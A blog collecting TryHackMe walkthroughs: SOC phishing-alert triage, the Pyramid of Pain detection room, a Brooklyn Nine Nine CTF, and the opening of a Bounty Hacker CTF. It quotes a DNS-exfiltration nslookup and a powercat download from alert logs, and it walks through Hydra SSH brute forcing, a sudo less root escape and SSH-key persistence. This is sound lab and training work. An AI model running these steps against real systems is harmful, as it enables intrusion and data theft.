plutogazer writeups

A place to share my cybersecurity learning journey, where I'll be posting walkthroughs on cybersecurity challenges from TryHackMe, HackTheBox, etc.

This is a guide to get a 100% True Positive rate for the Phishing Unfolding SOC Simulator TryHackMe challenge room. Because this is just a walkthrough, I will be avoid writing complete reports, and just write the though process behind the verdict instead.

Introduction and Considerations

The description of the room is the following:

Dive into the heat of a live phishing attack as it unfolds within the corporate network. In this high-pressure scenario, your role is to meticulously analyse and document each phase of the breach as it happens.

Can you piece together the attack chain in real-time and prepare a comprehensive report on the malicious activities?

In this SOC Simulator room we will be using Splunk to analyze alerts and try to identify potential phishing attacks. This room contains 36 alerts that start appearing after a short period of time. Alerts will be appearing on the built-in SIEM the SOC Simulator tool has. This tool provides a case management functionality, in which we will write the reports for each alert. Once analyzed, we need to determine whether the alerts was a True Positive or False Positive, and whether it requires escalation to a superior or not. The Simulator also provides a VM with an integrated Threat Intelligence Platform called TryDetectThis. Because alerts will still be coming while we are analyzing a previous one, at some point we will have pages worth of “Unassigned” alerts. Prioritize alerts the SIEM has identified with higher severity, and with oldest timestamps.

Many alerts can be related to other alerts, or are just False Positives. This writeup will only cover the True Positive alerts, and only the first on the chain of a sequence of alerts when applicable (I still had to analyze nearly all of them, because you never know!). The room also offers a “Documentation” tab, containing a “Company Information” tab, providing information on the employees of the fictional company. This tab will be useful during alert triage and for providing exhaustive information regarding affected entities when reporting.

Grading

The SOC Simulator, technically speaking, only cares for alerts the user has identified as True Positives. Once all True Positives have been identified as such, the simulation ends even if there still are alerts in queue. Furthermore, the written reports are “graded” by an LLM. The tool recommends using the following format for reporting: Time of activity: List of Affected Entities: Reason for Classifying as True Positive: Reason for Escalating the Alert: Recommended Remediation Actions: List of Attack Indicators:

However, what the LLM seems to actually be looking for is the 5 Ws of Alert Triage. Even so, it sometimes fails to understand certain aspects of the human language, and reduces points unfairly. This is why I will not post complete reports here, just the thought process behind the verdict. As a rule of thumb, to get the maximum amount of points possible and reduce the LLM margin of error, we should write all relevant timestamps, all possible information about the victims and other entities (from the Company Information section), information about related events before and after the alert, reasons for escalation (or not), and when possible, point out attack artifacts and MITRE mapping. And, as always, try to identify the 5 Ws in your report.

Alert 1: Suspicious email from external domain (ID 1000) – Low severity

The information the SIEM gives us is (some output omitted):

Description:
A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Lead: This detection rule still needs fine-tuning.

subject:
Inheritance Alert: Unknown Billionaire Relative Left You Their Hat Fortunes

sender:
eileen@trendymillineryco.me

recipient:
support@tryhatme.com

attachment:
None

subject:
Inheritance Alert: Unknown Billionaire Relative Left You Their Hat Fortunes

content:
A long lost billionaire relative has left you their secret hat empire To claim your inheritance send us your banking details immediately

This is a classical Phishing technique. It promises something extremely valuable in exchange for confidential information. This is why we classify this as True Positive. The MITRE ATT&CK ID for Phishing is T1566. Let's check the log management tool (in my case, I chose Splunk) and search with the “eileen” email as a recipient, just to see if support actually sent their banking details. The search returned no results, so it seems the user did not comply. As such, there is no need for escalation.

Alert 2: Suspicious email from external domain (ID 1003) – Low severity

Description:
A suspicious email was received from an external sender with an unusual top level domain. Note from SOC Lead: This detection rule still needs fine-tuning.

timestamp
01/26/2026 21:15:30.473

subject:
Grow Your Hat Business Overnight with this Secret Formula

sender:
leonard@fashionindustrytrends.xyz

recipient:
yani.zubair@tryhatme.com

attachment:
None

content:
Unlock the ultimate strategy to skyrocket your hat empire No experience needed Just click and watch the profits roll in

At 01/26/2026 21:16:44.240 spam was received by yani.zubair@tryhatme[.]com, which belongs to Yani Zubair, from IT, using hostname win-3449. The email was from leonard@fashionindustrytrends[.]xyz. This email used common Phishing strategies (MITRE ATT&CK ID T1566) such as offering compensation by entering a page and clicking something. Further actions from Yani Zubair's hostname after the email was received were analyzed, but the Splunk logs showed no evident malicious events. It seems the user has ignored the email message. Due to this, it is a True Positive, but no escalation is required.

Alert 3: Suspicious Parent Child Relationship (ID 1025) – High severity

Description:
A suspicious process with an uncommon parent-child relationship was detected in your environment.

timestamp:
01/26/2026 21:45:42.473

host.name:
win-3450

process.name:
nslookup.exe

process.pid:
5520

process.parent.pid
3728

process.parent.name:
powershell.exe

process.command_line:
"C:\Windows\system32\nslookup.exe" UEsDBBQAAAAIANigLlfVU3cDIgAAAI.haz4rdw4re.io

process.working_directory:
C:\Users\michael.ascot\downloads\exfiltration\

event.action:
Process Create (rule: ProcessCreate)

This alert had a HIGH SEVERITY, and there is no wonder why... what exactly happened? Let's take a look at the information the SIEM is giving us. It seems that hostname win-3450 is using the powershell from a directory called “exfiltration” to perform a nslookup of a domain with a subdomain of what looks like encoded data. This is obviously data being exfiltrated. Let's see what we can find from the logs. But first, let's check who win-3450 is. From the Company Information tab, we find out that the win-3450 device is being used by Michael Ascot, whose email address is michael.ascot@tryhatme[.]com, and is the CEO of the company. Anyway, this alert seemed to come out of nowhere. We got a timestamp and we got the device that is creating these processes. Let's check events happening at this hostname a few minutes before an after the alert.

Splunk shows us a long list of problematic events right after this one. There are multiple registry modifications and other processes creations, including downloading external resources from the powershell (such as hxxps[://]raw[.]githubusercontent[.]com/besimorhino/powercat/master/powercat[.]ps1), even more lookups to different (encoded) subdomains of haz4rdw4re.io, and performing command such as systeminfo or whoami. This is absolutely not common or expected behavior from any host. Data is clearly being exfiltrated by using DNS queries, and it is done this way because DNS is a very common protocol to see flowing through networks and, therefore, less monitored. It helps to avoid detection or filtering. The encoded subdomains are actually the data that is being exfiltrated, but encoded. Commands such as systeminfo or whoami are commonly used during Post-Exploitation, as these give the attacker information on the current user's privileges and machine (MITRE ATT&CK ID T1033). Now we have confirmed that this is a True Positive, but we still don't know how it happened. Looking at earlier timestamps, we find that right before all this sequence of events happened, a file named “ImportantInvoice-Febrary.zip” was created at the /downloads directory, which later created the /exfiltration subdirectory. We have no information regarding where this file came from. Let's search for it on Splunk.

Eventually, using Splunk search filters, we will find that at 01/26/2026 21:20:19.473 (25 minutes before the alert) the CEO's email, michael.ascot@tryhatme.com, received a email containing an attachment named ImportantInvoice-Febrary.zip. The body and subject of the email indicated that an account was about the closed unless payment was processed, and to read the attachment to stop it. Yet another common Phishing technique, or Spearphishing in this case as the target was the CEO. The Spearphishing through Attachment technique has a MITRE ATT&CK ID of T1566.001. We can also notice a small typo on the name of the attachment (Febrary instead of February), which is not uncommon to see on Phishing emails. This CEO would unfortunately download the file at 01/26/2026 21:40:26.47. as Splunk shows us the file was created in the C:\Users\michael.ascot\AppData\Local\Microsoft\Windows\INetCache\Content.Outlook\UP4KOJQB\ImportantInvoice-Febrary.zip file path. The chain of malicious events follows.

With all this information, we can write quite a hefty report. We now know it's a True Positive and that it requires escalation.

Recommended Remediation Actions: host isolation to prevent further movement, malware cleanup, phishing awaraness training, Data Loss Prevention tools. Add haz4rd4wre.io to list of malicious domains. The file was also run on the TryDetectMe threat intelligence tool, which recognized it as clean – inform on this as well.

Alerts with IDs 1005, 1020, 1023, 1026-1034 were related to this alert – they were either the spearphishing email, the creation of the malicious attachment, or other alerts of the Suspicious Parent-Child relationship type but with lookups to other subdomains. Because of this, they should have the same verdict, but be sure to explain this thoroughly on the report (the LLM will most likely still grade it with low points, but that's due to its logic rather than a mistake on our side).

Alert 4: Network drive mapped to a local drive (ID 1022) – Medium severity

Description:
A network drive was mapped to a local drive. Normally, this is not a cause for concern, but investigate further to determine if it is malicious.

timestamp:
01/26/2026 21:43:57.473

host.name:
win-3450

process.name:
net.exe

process.pid:
5784

process.parent.pid
3728

process.parent.name:
powershell.exe

process.command_line:
"C:\Windows\system32\net.exe" use Z: \\FILESRV-01\SSF-FinancialRecords

process.working_directory:
C:\Users\michael.ascot\downloads\

event.action:
Process Create (rule: ProcessCreate)

This normally wouldn't be cause for concern, as the description in the SIEM tells us, but we can see it happened on hostname win-3450, who was just the victim of a Phishing attack. The timestamp here will be key to detect any potential problem.

At 01/26/2026 21:43:57.47, Michael Ascot copied the SSF-FinancialRecords file to a local drive, which was disconnected at 01/26/2026 21:44:42.473. There is nothing extraordinary about this. However, if we take a look at the Splunk logs near this event, at 01/26/2026 21:44:31.473 it is revealed that a process, with the same process ID of a process that is part of the malware involved in Alert ID 1025 (True Positive requiring escalation), cloned the file to the C:\Users\michael.ascot\downloads\exfiltration /E directory – the directory used to exfiltrate files. The malware running was most likely set up to clone any file in transit to different directories to the exfiltration directory.

Recommended Remediation Actions: similarly to Alert ID 1025, user awareness training, and DLP and IPS tools should be put in place.

Alert ID 1024 – Network drive disconnected from a local drive, is part of this alert (the disconnection of this drive), and therefore has the same verdict.

And with this one, the room has finished. Out of 36 alerts, there were 17 True Positives, where most of them were alerts generated as a result of processes from previous alerts. We learnt the importance of User Awareness Training, as this could have been avoided if the user from Alert 1025 would have not have downloaded the attachment, and of Log monitoring. How a single email ended up cluttering the SIEM with alerts and created a serious incident. It is important to always remain vigilant and constantly monitor the network, as an attack can strike in many forms and at any time, and have catastrophic consequences.

This is a Walkthrough for the Summit Incident Response TryHackMe challenge room. The writeup is meant to offer short and concise solutions, and also offering an extended explanation right after the answer for those interested in finding out more about the solution to a specific task.

Introduction

The description of the room is the following:

Can you chase a simulated adversary up the Pyramid of Pain until they finally back down?

The room is essentially a threat detection and response simulator focusing on defending against increasingly harder threats by following the levels on the Pyramid of Pain. We will be receiving .exe files by email, and will have to run those through a built-in sandbox analysis tool.

The first email we get is one containing a file named sample1.exe

Task 1: What is the first flag you receive after successfully detecting sample1.exe?

  1. Read the email and click on the attachment to download.
  2. Go to the burger menu on the top left, then click on the Malware Sandbox tool. Choose sample1.exe

After a while, we will get the results. We got an information table and a Behaviour Analysis section. For this task, though, we have to focus on the table:

File Name sample1.exe
File Size 202.50 KB
File Type PE32+ executable (GUI) x86-64, for MS Windows
Analysis Date September 5, 2023
OS Windows 10x64 v1803
Tags Trojan.Metasploit.A
MIME application/x-dosexec
MD5 cbda8ae000aa9cbe7c8b982bae006c2a
SHA1 83d2791ca93e58688598485aa62597c0ebbf7610
SHA256 9c550591a25c6228cb7d74d970d133d75c961ffed2ef7180144859cc09efca8c

Following the Pyramid of Pain, the first level is “Hash value.”

  1. Go to the burger menu, then click on Manage Hashes.
  2. There are three options: MD5, SHA1, SHA256. Pick either, and input the corresponding hash.

We will get a message congratulating us on completing the task, and a new email containing flag 1 and the next malware sample.

Task 2: What is the second flag you receive after successfully detecting sample2.exe?

  1. Read the new email and click on the sample2.exe attachment.
  2. Analyze the file on the Malware Sandbox tool.

But by changing just one bit the hash value of a file can change completely, so it is easy to evade this method. The second level of the Pyramid of Pain corresponds to IP Addresses. The analysis will give us, again, an information table, a Behaviour Analysis section, and now a Network Activity. The latter is the one we will have to check now.

The results are as follows (Information Table and Behaviour Analysis sections omitted):

Network Activity

HTTP(S) requests

1

TCP/UDP connections

3

DNS requests

0

Threats

0

HTTP requests

PID Process Method IP URL
1927 sample2.exe GET 154.35.10.113:4444 http://154.35.10.113:4444/uvLk8YI32

Connections

PID Process IP Domain ASN
1927 sample2.exe 154.35.10.113:4444 - Intrabuzz Hosting Limited
1927 sample2.exe 40.97.128.3:443 - Microsoft Corporation
1927 sample2.exe 40.97.128.4:443 - Microsoft Corporation

If we take a look at the HTTP Request we can see the executable connects to and downloads a file from the 154.35.10.113 IP address. We now have to create a Firewall rule for this IP address.

  1. Go to the Burger Menu, then click on the Firewall Manager tool. We need to fill some fields, which we will as follows:
  2. Type: Egress
  3. Source IP: Any
  4. Destination IP: 154.35.10.113
  5. Action: Deny

We will receive a congratulating message and a new email with flag 2.

Extra: Why not the other two IPs

According to the analysis, the file would make a connection to another two addresses: 40.97.128.3 and 40.97.128.4. These IP addresses, however, were identified to belong to Microsoft whereas the one we chose apparently belongs to a hosting service. Connecting to a Microsoft IP address is completely normal for business operations... not so much connecting to and downloading files from an IP address that belongs to a hosting service.

Task 3: What is the third flag you receive after successfully detecting sample3.exe?

Changing one's IP address is not particularly hard – the attacker mentions on their email message that they hired a new Cloud Service Provider and now have access to many more IPs. The third level of the Pyramid of Pain corresponds to Domain Names.

  1. Read the new email and analyze the sample3.exe file.

Under Network Activity we will have a new section, DNS requests.

(output omitted)

Network Activity

HTTP(S) requests

2

TCP/UDP connections

4

DNS requests

2

Threats

0

HTTP requests

PID Process Method IP URL
1021 sample3.exe GET 62.123.140.9:1337 http://emudyn.bresonicz.info:1337/kzn293la
1021 sample3.exe GET 62.123.140.9:80 http://emudyn.bresonicz.info/backdoor.exe

Connections

PID Process IP Domain ASN
1021 sample3.exe 40.97.128.4:443 services.microsoft.com Microsoft Corporation
1021 sample3.exe 62.123.140.9:1337 emudyn.bresonicz.info XplorIta Cloud Services
1021 sample3.exe 62.123.140.9:80 emudyn.bresonicz.info XplorIta Cloud Services
2712 backdoor.exe 62.123.140.9:80 emudyn.bresonicz.info XplorIta Cloud Services

DNS requests

Domain IP
services.microsoft.com 40.97.128.4
emudyn.bresonicz.info 62.123.140.9

The DNS requests section showed us the domain the executable is downloading files from, emudyn.bresonicz.info. The other one belongs to Microsoft, so we can assume it's safe.

  1. Head to the Burger menu, and then click on DNS Rule Manager.
  2. Click on Create DNS Rule
  3. We have to fill some fields. Do so as follows:
    • Rule name: (Any works. I named it “Deny Phishing Domain.”)
    • Category: Phishing
    • Domain Name: emudyn.bresonicz.info
    • Action: Deny

We will receive a congratulating message and a new email with flag 3.

Task 4: What is the fourth flag you receive after successfully detecting sample4.exe?

Changing one's domain is harder than changing an IP address, as this requires purchasing a new domain and modifying DNS records. Still, a very determined hacker might still be willing to do so (and also, some DNS providers have loose standards). The next level of the Pyramid of Pain corresponds to Host and Network Artifacts.

  1. Read the email and analyze sample4.exe.

The new email will contain a Registry Activity section after all the previous one. Let's take a look at that one.

(output omitted)

Registry Activity

Total events

3

Read events

1

Write events

2

Delete events

0

Modification events

(PID) Process: (3806) sample4.exe Key: HKEYLOCALMACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
Operation: write Name: DisableRealtimeMonitoring
Value: 1
(PID) Process: (1928) explorer.exe Key: HKEYCURRENTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced
Operation: write Name: EnableBalloonTips
Value: 1
(PID) Process: (9876) notepad.exe Key: HKEYCURRENTUSER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts.txt
Operation: read Name: Progid
Value: txtfile

If we look at the first event, sample4.exe appears to be disabling Windows Defender Real-Time Protection by modifying the Windows Registry. This is the artifact, finding this is how we know we have a potentially infected host. We now have to create a rule that alerts us when this happens.

  1. Go to the Burger Menu, then click on Sigma Rule Builder.
  2. Click on Create Sigma Rule. A Sigma rule will be generated by an LLM based on the options we pick.
  3. On the “I want to create a rule that focuses on:” section, pick Sysmon Event Logs.
  4. On “I want to target this Sysmon event:”, pick Registry Modifications.
  5. You have to fill some fields to generate the rule. Fill them as follows:
    • Registry Key: HKEYLOCALMACHINE\SOFTWARE\Microsoft\Windows Defender\Real-Time Protection
    • Registry Name: DisableRealtimeMonitoring
    • Value: 1
    • ATT&CK ID: Defense Evasion (TA0005)
  6. Click on the Validate Rule button.

Once it generates the Sigma rule, we will receive a congratulating message and a new email with flag 4.

Extra: why “alert” and not “respond”.

The reason we are creating a rule to alert rather than to respond like we did in the previous steps is because disabling Real Time Protection is, while unusual (and warned against on modern Windows), a potentially benign action. We alert the cybersecurity team when it occurs so they can investigate the situation and determine if it is expected or not, instead of just not allowing and potentially hindering a normal business operation.

Task 5: What is the fifth flag you receive after successfully detecting sample5.exe?

Knowing the artifacts an attacker leaves on a system means the attacker will have to change their tools and methodologies, which means they will have to spend even more resources to attack our system. We are now on the highest levels of the pyramid, the ones with the highest difficulty for the attacker to bypass, and at this point it's very likely they changed their target. Still, if the attacker persists, the second-to-last level of the Pyramid of Pain corresponds to detecting Tools.

  1. Read the new email and click on sample5.exe According to the email, the “heavy lifting” and instructions now occur on their backend server, which means we will have significantly less information on the file's actions.

This time we don't have the results of an analysis, but a log of attempted connections:

“ 2023-08-15 09:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 09:23:45 | Source: 10.10.15.12 | Destination: 43.10.65.115 | Port: 443 | Size: 21541 bytes 2023-08-15 09:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 10:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 10:14:21 | Source: 10.10.15.12 | Destination: 87.32.56.124 | Port: 80 | Size: 1204 bytes 2023-08-15 10:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 11:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 11:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 11:45:09 | Source: 10.10.15.12 | Destination: 145.78.90.33 | Port: 443 | Size: 805 bytes 2023-08-15 12:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 12:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 13:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 13:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 13:32:17 | Source: 10.10.15.12 | Destination: 72.15.61.98 | Port: 443 | Size: 26084 bytes 2023-08-15 14:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 14:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 14:55:33 | Source: 10.10.15.12 | Destination: 208.45.72.16 | Port: 443 | Size: 45091 bytes 2023-08-15 15:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 15:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 15:40:10 | Source: 10.10.15.12 | Destination: 101.55.20.79 | Port: 443 | Size: 95021 bytes 2023-08-15 16:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 16:18:55 | Source: 10.10.15.12 | Destination: 194.92.18.10 | Port: 80 | Size: 8004 bytes 2023-08-15 16:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 17:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 17:09:30 | Source: 10.10.15.12 | Destination: 77.23.66.214 | Port: 443 | Size: 9584 bytes 2023-08-15 17:27:42 | Source: 10.10.15.12 | Destination: 156.29.88.77 | Port: 443 | Size: 10293 bytes 2023-08-15 17:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 18:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 18:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 19:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 19:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 20:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 20:30:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes 2023-08-15 21:00:00 | Source: 10.10.15.12 | Destination: 51.102.10.19 | Port: 443 | Size: 97 bytes

I confess the first thing I noticed was that the length for a lot of the attempts: most of them were over 10 KB in length. Then I realized what the actual problem with this log was: most of them go to the same destination, with the exact same byte length.

The attacker is probably using a tool that fragments messages in 97 bytes. Let us create a Sigma rule to detect when this happens.

  1. Go to Create Sigma Rule, then click on Sysmon Event Logs.
  2. On “I want to target this Sysmon event:”, pick Network Connections.
  3. Fill the requested fields as follows:
    • Remote IP: Any
    • Remote Port: Any
    • Size (bytes): 97
    • Frequency (seconds): 1800
    • ATT&CK ID: Command and Control (TA0011)

Once it generates the Sigma rule, we will receive a congratulating message and a new email with flag 5.

Extra: why this rule

Like in the previous task, we need to alert rather than to block, as legitimate network traffic may match this criteria. We chose the Remote IP and Remote Port to be “Any” because we now the attacker can change their IP address, but this also causes that this rule could be triggered at any point. However, SOC analysts would notice how many messages with the same length would go to the same IP address, and the fact that it happens every 30 minutes without fail, and respond to it. This is a common Defense Evasion technique, as fragmented messages are stealthier than sending all the data meant to be exfiltrated at once, and would also stop Data Loss Prevention systems from being executed.

Task 6: What is the final flag you receive from Sphinx?

A top attacker might have enough money and time to invest in changing and/or building and learning new tools and methodologies. We are at the last level of the Pyramid of Pain, and this corresponds to the Tactics, Techniques, and Procedures of the attacker. If we can detect and respond to how an attacker operates, they have almost no chance to fight back.

  1. Read the final email and open the attachment.

This time the attachment is a log of the commands the sample files run once opened:

dir c:\ >> %temp%\exfiltr8.log
dir “c:\Documents and Settings” >> %temp%\exfiltr8.log
dir “c:\Program Files\” >> %temp%\exfiltr8.log
dir d:\ >> %temp%\exfiltr8.log
net localgroup administrator >> %temp%\exfiltr8.log
ver >> %temp%\exfiltr8.log
systeminfo >> %temp%\exfiltr8.log
ipconfig /all >> %temp%\exfiltr8.log
netstat -ano >> %temp%\exfiltr8.log
net start >> %temp%\exfiltr8.log
This is showing us the sample files were using commands that display important system information (directory trees, user list, system info, network information) and redirect the output to a file named exfiltr8.log, located in the temp folder (common place to hide malware, as nearly everything has writing permissions here.) Let us generate a rule to detect the creation of this file.

  1. Go to Create Sigma Rule, and then click on System Event Logs.
  2. On “I want to target this Sysmon event:”, pick File Creation and Modification.
  3. Fill the requested fields as follows:
    • File Path: %temp%
    • File Name: exfiltr8.log
    • ATT&CK ID: Collection (TA0009)

Once it generates the Sigma rule, we will receive a congratulating message and a new email with the final flag.

Congratulations! The room is finished.

What I Learnt

  • Pyramid of Pain: this challenge allowed me to strengthen my knowledge on the framework, forcing me to think why each level has its corresponding difficulty, by thinking how an attacker could bypass a detection or deny rule.
  • Sigma rule structure: levels 3 to 5 involved generating a Sigma rule, which the SOC L1 learning path (this challenge was part of it) has no room on at this point.
  • Analyzing logs: task 5 was about to look for a specific pattern in a log file. Even if at first I focused on the wrong pattern, I managed to realize quite quickly what was I supposed to be looking for.
  • Learning how an attacker might hide their actions, and thinking of False Positives: some tasks involved the attacker hiding their signatures, or hiding their actions by modifying system files. For these I had to consider about False Positives as well, as some of their actions could be similar to normally benign actions, and creating an overly lax detection rule might make the SOC team focus on the wrong alert.

This is a Walkthrough for the Brooklyn Nine Nine Capture The Flag TryHackMe room. The writeup is meant to offer short and concise solutions by using a bigger font and titling as “Task Number”, but also offering an extended explanation as subheaders for those interested in finding out more about the solution to a specific task.

Starting

Let's start with the basics – enumerate the open ports in the target. Let's use nmap.

nmap -sV MACHINE_IP

Host is up (0.00020s latency). Not shown: 997 closed ports PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu)) Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel index page:

We find three open ports with three services: SSH, FTP, and a web server. I tried enumerating the web server's directories to see if there was something of interest, but it only contains a background image.

Task 1: User flag

Because there was nothing but the index, any hint must be in the page itself.

  1. Check the web server's main page's source. Alternatively, open developer tools and inspect the index, you will find the following comment:
Have you ever heard of steganography?
Nice hint. So the background image might not be just a background image... In the source page we will find the following line: **background-image: url("brooklyn99.jpg");** The fact that url() specifies the image directly means that it can be found in the same path we're at right now. 2. Download the background image I used wget for this. ``` wget http://MACHINE_IP/brooklyn99.jpg ``` 3. Use steganography to uncover the secret behind the image. I decided to use **stegseek** ***Note**: I was using TryHackMe's Attackbox. Stegseek, however, is not included in the Attackbox - I had to install it, as the steganography tool that was available has been deprecated.* ``` stegseek brooklyn99.jpg ``` We get the following message:
[i] Found passphrase: "[REDACTED]"
  1. Decode the image with the password we found. I used https://futureboy.us/stegano/decinput.html to do this.

This shows us the following message:

Holts Password:

[REDACTED]

Enjoy!!

Time to get access.

  1. Gain access the target *According to the creator, there are two ways to gain access. I assume this is either directly through SSH with holt's password or the long way around, with the password of the user we will find right now. I chose the long way around:* We will do this with the FTP port we found.
ftp MACHINE_IP

It will tell us that the server only accepts anonymous connections. Let's attempt a new connection, with “anonymous” as the user.

ftp> open MACHINE_IP

Connected to MACHINEIP. 220 (vsFTPd 3.0.3) Name (MACHINEIP:root): anonymous 331 Please specify the password. Password: 230 Login successful.

  1. Examine the server's contents with the dir FTP command.
ftp> dir

200 PORT command successful. Consider using PASV. 150 Here comes the directory listing. -rw-r—r— 1 0 0 119 May 17 2020 notetojake.txt 226 Directory send OK.

  1. Download the contents with the get FTP command.
ftp> get note_to_jake.txt

The file says the following:

From Amy, Jake please change your password. It is too weak and holt will be mad if someone hacks into the nine nine

Now we know a way to actually access to the system. Assuming Amy and Jake are both existing users, and Amy is telling us Jake has a weak password, let us see if we can brute-force Jake's password.

  1. Attempt to gain access through SSH by brute-forcing Jake's password. I will use Hydra for this.
hydra -l jake -P /usr/share/wordlists/rockyou.txt MACHINE_IP ssh

It took Hydra about one second to find it. So, knowing the password:

  1. Log in to the system with Jake's password.
ssh jake@MACHINE_IP
  1. Find the User flag. You can look for it manually, or use the following command: find /home/ -name user.txt 2>/dev/null

Task 2: Root flag

To access the Root flag (likely at /root/) we will need root access.

  1. Find a way to escalate privileges. Check what can the current user run as root.
sudo -l -l

We get the following information:

Matching Defaults entries for jake on brooklyninenine: envreset, mailbadpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin

User jake may run the following commands on brooklyninenine:

Sudoers entry: RunAsUsers: ALL Options: !authenticate Commands: /usr/bin/less

So, it seems jake can run less as root.

  1. Find a way to exploit this vulnerability. I searched GTFObins and found the following command:
  • sudo less /etc/profile !/bin/sh

This, indeed, allowed us to escalate privilege and act as the root user.

  1. Find the root flag.
find / -name root.txt 2>/dev/null

Eventually, we will find where root.txt is located. It contains the following message:

- Creator : Fsociety2006 -- Congratulations in rooting Brooklyn Nine Nine Here is the flag: [REDACTED] Enjoy!!

Congratulations! The room is finished.

Optional: Persistence and Better Shell

What would happen if Holt and Jake change passwords? This method will no longer work. How do we bypass this? Persistence. Also, the terminal we get by escalating privileges with GTFOBINS is quite rudimentary (no tabbing functionality!). How do we fix this? With a *“better shell”.*

Persistence

The most direct way to achieve persistence (for this room) would be by using SSH keys. We will leave our public SSH key in the ./ssh/authorized_keys file of the target machine. 1. Have access to the target machine. 2. Generate SSH keys on your machine. This is done with the ssh-keygen command. By default, the algorithm used is RSA. Using this command will create a public and a private key, named id_rsa.pub and id_rsa, respectively. 3. Change permissions on the idrsa file to 600 or higher. This is done with the chmod command. This is because only the owner of the key should be able to read or overwrite it, otherwise SSH ignores it and forces you to connect with a password instead. 4. Copy the contents of **idrsa.pub** to the ./ssh/authorized_keys file in the target machine. This file essentially tells the target's server to “trust everyone that connects with these keys.” 5. Connect to the target's SSH server with your private SSH key, this is done with the following command:

ssh -i /path/to/id_rsa user@target

You will be able to log in as any user with this method, and you won't be asked for a password at any time. Furthermore, because we are connecting through SSH, we have now a “better shell.”

The target can still find out about this, and remove our key from authorized_keys. We can add a reverse shell as a cronjob on their machine, and just set up a listener on our machine when necessary, but this is already exceeding the scope of this room, so we'll leave it here.

How it could have been avoided

There were several vulnerabilities we took advantage of in this machine. Let us list them and give one solution to each: – Disable sensitive ports when not used: the FTP and SSH ports should have been closed if they were not in use, as this is how we accessed the system. If they cannot be closed, add filters based on necessity, as this would have significantly decreased the chances of intrusion. – Store passwords safely: the attack worked because holt's password, despite being considered “very strong” by today's standards, was stored in plaintext. Even if “hidden” by steganography, it is not particularly difficult to find them, and once we have the password, it can be used to get into the system. Passwords should be stored with a safe hashing algorithm, and salted. – Enforce strong password policies: CRUCIAL! jake's password was very weak. It took Hydra about one second to crack it. While “note to Jake” was a great hint, it was a matter of time before it was discovered. If jake had a strong password, we could have not have used the method we used to break into the system. Strong passwords have a combination of numbers, lowercase and uppercase letters, and symbols, and are at least 16 characters long. – Review security configurations: do not allow anonymous access to FTP servers that contain sensitive files (even if what we found was “just” a note, we used this note as a hint to gain access). Do not allow unprivileged users to run files as root – this is how we escalated privileges. If these misconfigurations had not been in place, we would've not been able to gain access like we did.

This is a Walkthrough for the Bounty Hacker Capture The Flag TryHackMe room. The writeup is meant to offer short and concise solutions by using a bigger font and titling as “Task Number”, but also offering an extended explanation as subheaders for those interested in finding out more about the solution to a specific task.


Task 1: Deploy the Machine

  1. Click the “Start Machine” button.

Task 2: Find Open Ports on the Machine

Let's use the network scanning tool nmap for this.

  1. nmap -sV MACHINE_IP

We find three services: FTP, SSH, and a Web Server.

2.1: Scanning the web server

I wanted to see if there was something of interest on the web server.

The index only shows a screencap and some text from the Sunrise's Cowboy Bebop show (it is a Cowboy Bebop-themed Room, after all), but nothing else. I tried enumerating the website's directories with gobuster to see if there was something of interest, but there was nothing out of the ordinary.

Task 3: Who wrote the task list?

There is no mention of a task list anywhere at first sight, but there is apparently an open FTP server.

  1. Access the FTP server by running ftp MACHINE_IP

We can only log in with an anonymous user, so the next step is:

  1. Connect to the FTP server and input “anonymous” as the username.

